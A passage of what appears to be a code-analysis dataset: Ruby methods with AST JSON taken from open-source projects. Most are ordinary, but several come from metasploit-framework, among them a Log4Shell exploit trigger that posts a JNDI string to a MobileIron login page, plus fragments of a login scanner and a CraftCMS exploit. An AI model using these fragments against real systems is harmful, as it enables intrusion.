"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"13.0\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Disabling 'Slide to Type' \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plist_buddy\",{\"type\":\"str\",\"children\":[\"/usr/libexec/PlistBuddy\"]}]},{\"type\":\"lvasgn\",\"children\":[\"plist_buddy_cmd\",{\"type\":\"str\",\"children\":[\"-c \\\"Add :KeyboardContinuousPathEnabled bool false\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"plist_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"~/Library/Developer/CoreSimulator/Devices/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"udid\"]}]},{\"type\":\"str\",\"children\":[\"/data/Library/Preferences/com.apple.keyboard.ContinuousPath.plist\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"backticks\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist_buddy\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist_buddy_cmd\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist_path\"]}]},{\"type\":\"str\",\"children\":[\" >/dev/null 2>&1\"]}]}]}]}]}","id":"c870d340-dbd2-4f3d-b5d4-a82e6e9129a7"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/youtube_tag.rb","start_line":34,"raw_source":"def find_time_parameter(str)\n    match = str.match(/[?&](?:t|start)=([0-9hms]+)/i)\n    match[1] if match\n  end","complexity_score":4.43,"ast_json":"{\"type\":\"def\",\"children\":[\"find_time_parameter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[?&](?:t|start)=([0-9hms]+)\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"30284e87-9677-4545-b712-ec5aab44044f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/organizations/organization_setting.rb","start_line":36,"raw_source":"def should_prevent_visibility_restriction?\n      default_group_visibility_changed? || restricted_visibility_levels_changed?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_prevent_visibility_restriction?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_group_visibility_changed?\"]},{\"type\":\"send\",\"children\":[null,\"restricted_visibility_levels_changed?\"]}]}]}","id":"88cb7ae2-4545-441f-89c5-1de4ab2819dc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/processor_service.rb","start_line":32,"raw_source":"def handle_conversation_created(conversation)\n    return unless @allow_conversation\n\n    create_conversation_activity(\n      conversation: conversation,\n      activity_type: 'conversation',\n      activity_code_key: 'conversation_activity_code',\n      metadata_key: 'created_activity_id',\n      activity_note: Crm::Leadsquared::Mappers::ConversationMapper.map_conversation_activity(@hook, conversation)\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_conversation_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conversation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@allow_conversation\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"create_conversation_activity\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activity_type\"]},{\"type\":\"str\",\"children\":[\"conversation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activity_code_key\"]},{\"type\":\"str\",\"children\":[\"conversation_activity_code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata_key\"]},{\"type\":\"str\",\"children\":[\"created_activity_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activity_note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Crm\"]},\"Leadsquared\"]},\"Mappers\"]},\"ConversationMapper\"]},\"map_conversation_activity\",{\"type\":\"ivar\",\"children\":[\"@hook\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]}]}]}]}]}","id":"0996583b-e074-4700-8e4c-36775b545615"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/system_console.rb","start_line":66,"raw_source":"def self.kill_proxy_process(pid)\n    system('/usr/bin/kill', pid.to_s)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"kill_proxy_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"str\",\"children\":[\"/usr/bin/kill\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"to_s\"]}]}]}","id":"b52b9a47-71b0-4b6f-88f3-059a671be488"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/plugin/configuration_integrator.rb","start_line":27,"raw_source":"def create_context(rubocop_config)\n          LintRoller::Context.new(\n            runner: :rubocop,\n            runner_version: Version.version,\n            engine: :rubocop,\n            engine_version: Version.version,\n            target_ruby_version: rubocop_config.target_ruby_version\n          )\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rubocop_config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LintRoller\"]},\"Context\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner\"]},{\"type\":\"sym\",\"children\":[\"rubocop\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"engine\"]},{\"type\":\"sym\",\"children\":[\"rubocop\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"engine_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_ruby_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rubocop_config\"]},\"target_ruby_version\"]}]}]}]}]}","id":"c8c75bd1-cfc5-444f-b4a6-25c6c110cace"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/imports_controller.rb","start_line":31,"raw_source":"def update\n    @import.update(import_params)\n\n    redirect_to imports_url, notice: 'Import was successfully updated.', status: :see_other\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import\"]},\"update\",{\"type\":\"send\",\"children\":[null,\"import_params\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"imports_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"Import was successfully updated.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"16075b03-772d-4d0d-9ab8-33a02240565b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/amqp/amqp_login.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'AMQP 0-9-1 Login Check Scanner',\n        'Description' => %q{\n          This module will test AMQP logins on a range of machines and\n          report successful logins.  If you have loaded a database plugin\n          and connected to a database this module will record successful\n          logins and hosts so you can track your access.\n        },\n        'Author' => [ 'Spencer McIntyre' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'URL', 'https://www.rabbitmq.com/amqp-0-9-1-reference.html' ]\n        ],\n        'Notes' => {\n          'Stability' => [],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(5671)\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),\n        Opt::SSLVersion\n      ]\n    )\n  end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AMQP 0-9-1 Login Check Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will test AMQP logins on a range of machines and\\n\"]},{\"type\":\"str\",\"children\":[\"          report successful logins.  If you have loaded a database plugin\\n\"]},{\"type\":\"str\",\"children\":[\"          and connected to a database this module will record successful\\n\"]},{\"type\":\"str\",\"children\":[\"          logins and hosts so you can track your access.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rabbitmq.com/amqp-0-9-1-reference.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5671]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Negotiate SSL/TLS for outgoing connections\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"SSLVersion\"]}]}]}]}]}","id":"e5e5afbc-efe2-4860-85b6-332d1658f161"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb","start_line":31,"raw_source":"def generate(_opts = {})\n    return prepends(ruby_string)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepends\",{\"type\":\"send\",\"children\":[null,\"ruby_string\"]}]}]}]}","id":"18aed8a4-d2ed-4dc2-a441-98e666097b49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/csv_builder/lib/csv_builder/builder.rb","start_line":61,"raw_source":"def each(&block)\n      if @associations_to_preload&.any? && @collection.respond_to?(:each_batch)\n        @collection.each_batch(order_hint: @order_hint) do |relation|\n          relation.preload(@associations_to_preload).order(:id).each(&block)\n        end\n      elsif @collection.respond_to?(:find_each)\n        @collection.find_each(&block)\n      else\n        @collection.each(&block)\n      end\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@associations_to_preload\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each_batch\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_hint\"]},{\"type\":\"ivar\",\"children\":[\"@order_hint\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"preload\",{\"type\":\"ivar\",\"children\":[\"@associations_to_preload\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"find_each\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"find_each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"6370bf57-6aff-4643-95db-03999ecfcf76"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fetch_remote_status_service.rb","start_line":4,"raw_source":"def call(url, prefetched_body: nil, request_id: nil)\n    if prefetched_body.nil?\n      resource_url, resource_options = FetchResourceService.new.call(url)\n    else\n      resource_url     = url\n      resource_options = { prefetched_body: prefetched_body }\n    end\n\n    ActivityPub::FetchRemoteStatusService.new.call(resource_url, **resource_options.merge(request_id: request_id)) unless resource_url.nil?\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefetched_body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"request_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefetched_body\"]},\"nil?\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource_url\"]},{\"type\":\"lvasgn\",\"children\":[\"resource_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FetchResourceService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource_url\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefetched_body\"]},{\"type\":\"lvar\",\"children\":[\"prefetched_body\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_url\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRemoteStatusService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"resource_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_id\"]},{\"type\":\"lvar\",\"children\":[\"request_id\"]}]}]}]}]}]}]}]}]}]}","id":"dd53e92a-c735-41df-b925-36b0172eea1c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/mobileiron_core_log4shell.rb","start_line":103,"raw_source":"def trigger\n    @search_received = false\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),\n      'headers' => {\n        'Referer' => \"https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}\"\n      },\n      'encode' => false,\n      'vars_post' => {\n        'j_username' => log4j_jndi_string,\n        'j_password' => Rex::Text.rand_text_alphanumeric(8),\n        'logincontext' => 'employee'\n      }\n    )\n  end","complexity_score":11.15,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@search_received\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"mifs\"]},{\"type\":\"str\",\"children\":[\"j_spring_security_check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"mifs\"]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"login.jsp\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"encode\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"send\",\"children\":[null,\"log4j_jndi_string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"logincontext\"]},{\"type\":\"str\",\"children\":[\"employee\"]}]}]}]}]}]}]}]}","id":"691496e6-8c32-4414-9fd6-d9126059fa09"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/cloudflare/create_custom_hostname_service.rb","start_line":4,"raw_source":"def perform\n    return { errors: ['Cloudflare API token or zone ID not found'] } if api_token.blank? || zone_id.blank?\n    return { errors: ['No hostname found'] } if @portal.custom_domain.blank?\n\n    response = create_hostname\n\n    return { errors: response.parsed_response['errors'] } unless response.success?\n\n    data = response.parsed_response['result']\n\n    if data.present?\n      update_portal_ssl_settings(@portal, data)\n      return { data: data }\n    end\n\n    { errors: ['Could not create hostname'] }\n  end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zone_id\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Cloudflare API token or zone ID not found\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@portal\"]},\"custom_domain\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"No hostname found\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"create_hostname\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"parsed_response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_portal_ssl_settings\",{\"type\":\"ivar\",\"children\":[\"@portal\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not create hostname\"]}]}]}]}]}]}","id":"f18cf37f-9d40-4ff7-8b53-e39fe43b9672"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/helpers/file.rb","start_line":21,"raw_source":"def self.config_dir\n          @config_dir ||= File.join(Dir.home, \".gitlab-orchestrator\").tap { |dir| FileUtils.mkdir_p(dir) }\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config_dir\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"home\"]},{\"type\":\"str\",\"children\":[\".gitlab-orchestrator\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}]}","id":"268c1327-27b4-49d5-a52a-f1b62b0d1602"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/craftcms_ftp_template.rb","start_line":141,"raw_source":"def on_client_command_epsv(cli, _arg)\n    vprint_status('on_client_command_epsv')\n    send_ftp_response(cli, 502, 'EPSV command not implemented.')\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_command_epsv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"_arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"on_client_command_epsv\"]}]},{\"type\":\"send\",\"children\":[null,\"send_ftp_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"int\",\"children\":[502]},{\"type\":\"str\",\"children\":[\"EPSV command not implemented.\"]}]}]}]}","id":"6e4fa651-1a0f-4785-ab4f-d4f0c5fe8480"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_package_types/pdf_export_template_controller.rb","start_line":70,"raw_source":"def drop\n      return render_404_turbo_stream if @template.nil?\n\n      @type.pdf_export_templates.move(@template.id, params[:position].to_i - 1) # drop index starts at 1\n      @type.save!\n      respond_to_with_turbo_streams\n    end","complexity_score":14.85,"ast_json":"{\"type\":\"def\",\"children\":[\"drop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404_turbo_stream\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"pdf_export_templates\"]},\"move\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"to_i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"respond_to_with_turbo_streams\"]}]}]}","id":"1e6dc227-d18d-4107-8047-7b0f041ac68a"}
